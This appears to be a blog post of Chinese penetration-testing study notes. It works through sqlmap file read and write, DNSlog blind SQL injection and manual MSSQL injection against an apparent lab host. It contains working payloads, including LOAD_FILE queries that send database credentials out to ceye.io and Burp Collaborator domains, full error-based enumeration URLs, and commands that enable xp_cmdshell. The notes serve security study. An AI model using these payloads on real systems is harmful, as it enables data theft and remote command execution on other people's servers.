sqlmap参数
--file-read,从数据库服务器中读取文件
--file-write,--file-dest,把文件上传到数据库服务器中

dnslog平台的学习和它在盲注中的应用
1,判断注入点
2,测试网站对DNSlog提供的url是否解析
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
SELECT LOAD_FILE,可以读文件,做DNS请求
例子,select load_file(group_concat('\\\\',(select concat(user,password)from users limit 3,1),'.6rylw1tbh2htjx3hap90nqqj8ae02p.burpcollaborator.net..\\aaa'));
如果网站的响应时间长的话,说明可以解析
3,使用concat拼接url和sql语句来注入得到数据

mssql手工注入
1,判断注入点,http://192.168.190.148/less-1.asp?id=1',提示 '1'' 后的引号不完整。 说明有注入点
2,判断数据库类型,http://192.168.190.148/less-1.asp?id=1' and exists(select * from sysobjects)-- ,有结果没报错说明后台数据库是sql server
还有其他方法,常用框架组合方法,例如常见的,asp+mssql,php+mysql/页面报错信息
3,select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa,http://192.168.190.148/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 页面没报错说明是sa账户
select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner),http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('db_owner'))>0--,页面没返回信息说明数据库没读写权限
select is_srvrolemember('public');判断是否有public权限,可以爆破表,http://192.168.190.148/less-1.asp?id=1' and (select is_srvrolemember('public'))>0-- 页面正常显示,说明有public权限
4,信息收集,当前数据库,数据库版本,
http://192.168.190.148/less-1.asp?id=1' and (select @@version)=1 --,会报错,返回结果会出来sql server版本
,http://192.168.190.148/less-1.asp?id=1' and (user)=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。 爆出当前用户是dbo
http://192.168.190.148/less-1.asp?id=1' and (select db_name())=1 -- [Microsoft][ODBC SQL Server Driver][SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。 ,爆出当前数据库是test
SELECT db_name(0);函数从0开始,0为当前数据库,将db_name函数下的参数改变,可以爆出所有的数据库
http://192.168.190.148/less-1.asp?id=1' and (select top 1 name from master..sysdatabases where name not in ('aspcms','master','model')) >1--
select top 3 name from master..sysdatabases;可以查询所有数据库,加上条件,where name not in ('db_name','dbname') 表示找到的结果不在设置的集合,就可以爆出所有数据库
5,获取当前数据库的表
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0)>1-- ,获取第一个表名 emails
http://192.168.190.148/less-1.asp?id=1'and (SELECT top 1 name from test.sys.all_objects where type='u' and is_ms_shipped=0 and name not in ('emails'))>1-- ,获取除去emalis之后第一个表,not in里依次增加爆出的表,得到所有表
6,获取当前数据库指定表的字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')>1 --获取第一个字段
http://192.168.190.148/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))>1 --,获取除了id之外的第一个字段,not in后依次增加字段就可以获得所有字段名
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users'))>1--,获取第一个字段
http://192.168.190.148/less-1.asp?id=1'and (select top 1 name from syscolumns where id =OBJECT_ID('users')and name not in ('id'))>1--,获取除了id之外的第一个字段,not in依次增加直到获取所有字段
7,获取表中指定字段的值
http://192.168.190.148/less-1.asp?id=1' and (select top 1 username from users)>1 --,获取指定字段的数据,字段只能1个1个修改注入

mssql的xp_cmdshell扩展
Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell',查询xp_cmdshell扩展是否打开
exec master..xp_cmdshell 'whoami' 调用xp_cmdshell扩展
提示报错,SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。打开查询分析器,执行即可
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

2019-10-29:渗透测试,基础学习,sqlmap文件读取,写入,dnslog盲注作用,mssql手工注入,笔记的更多相关文章

  1. 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

    pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...

  2. Java学习-022-Properties 文件数据写入

    Properties 配置文件写入主要通过 Properties.setProperty 和 Properties.store 两个方法,此文以一个简单的 properties 文件写入源码做示例. ...

  3. Java学习-019-Properties 文件读取实例源代码

    在这几天的学习过程中,有开发的朋友告知我,每个编程语言基本都有相应的配置文件支持类,像 Python 编程语言中支持的 ini 文件及其对应的配置文件读取类 ConfigParse,通过这个类,用户可 ...

  4. Java学习-016-CSV 文件读取实例源代码

    上文(CSV文件写入)讲述了日常自动化测试过程中将测试数据写入 CSV 文件的源码,此文主要讲述如何从 CSV 文件获取测试过程中所需的参数化数据.敬请各位小主参阅,若有不足之处,敬请大神指正,不胜感 ...

  5. SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

    首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

  6. Java学习-017-EXCEL 文件读取实例源代码

    众所周知,EXCEL 也是软件测试开发过程中,常用的数据文件导入导出时的类型文件之一,此文主要讲述如何通过 EXCEL 文件中 Sheet 的索引(index)或者 Sheet 名称获取文件中对应 S ...

  7. go学习之文件读取问题(需更新)

    go学习之文件读取问题(需更新) 一,问题: 今天做一个GO广度迷宫问题时,出现了一个奇怪的问题. 就是通过fmt.Fscanf()读取文件时,每行末尾多出一个0. 二,问题代码: 1,输入文件maz ...

  8. SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  9. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

随机推荐

  1. CountDownLatch和CycliBarrier介绍

    一.CountDownLatch 它被用来同步一个或多个任务,强制他们等待其他任务完成,这就是闭锁. public CountDownLatch(int count) { if (count < ...

  2. Docker入门详解——安装docker并利用docker搭建lnmp

    首先我们需先安装docker环境,这个比较简单,以centos7为例 docker在centos7上安装需要系统内核版本3.10+,可以通过uname -r查看内核版本号,如果版本不符请自行查阅资料更 ...

  3. Rest_Framework之认证、权限、频率组件源码剖析

    一:使用RestFramwork,定义一个视图 from rest_framework.viewsets import ModelViewSet class BookView(ModelViewSet ...

  4. Google Tensorflow 迁移学习 Inception-v3

    附上代码加数据地址 https://github.com/Liuyubao/transfer-learning ,欢迎参考. 一.Inception-V3模型 1.1 详细了解模型可参考以下论文: [ ...

  5. php经典设计模式和Trait类代码的复用

    PHP经典设计模式 <?php /** * 单例模式 */ class Site { #定义属性 public $siteName; #定义本类的静态实例 protected static $i ...

  6. 使用“反向传播”迭代法求解y=√10

    X=√10,求X,也就是求Y=10 =X2 , X是多少. *重要的思想是,如何转化为可迭代求解的算法问题. *解数学问题,第一时间画图,求导,“直线化”. Y = X2 假如已知Y = 10 ,要求 ...

  7. Unity1-HellowWord

    1.新建一个Unity工程,选择3D类型项目. 2.目录下有: Assets是主要操作的目录. 3.面板 4.做一个简单的方块移动效果: 1.在Hierarchy面板中,点击Create-3D Obj ...

  8. NOIP模拟 33

    苏轼三连一脸懵逼 然而既惨者就是没素质 T1是正解思路 然而因为直接从暴力修改过来并且忘了把求约数改成求质约数并且由于快速幂打的有缺陷等 没 有 A C ! 如 果 A C rank1就是俺的了! ( ...

  9. 爬虫之request库主要解析---参照慕课北理工嵩天

    kv = {'key1':'value1','key2':'value2'} r = requests.request (' GET' , 'http://python123.io/ws' , par ...

  10. Python实现自动化监控远程服务器

    最近发现Python课器做很多事情,在监控服务器有其独特的优势,耗费资源少,开发周期短. 首先我们做一个定时或者实时脚本timedtask.py,让其定时监控目标服务器,两种方式: 第一种: #!/u ...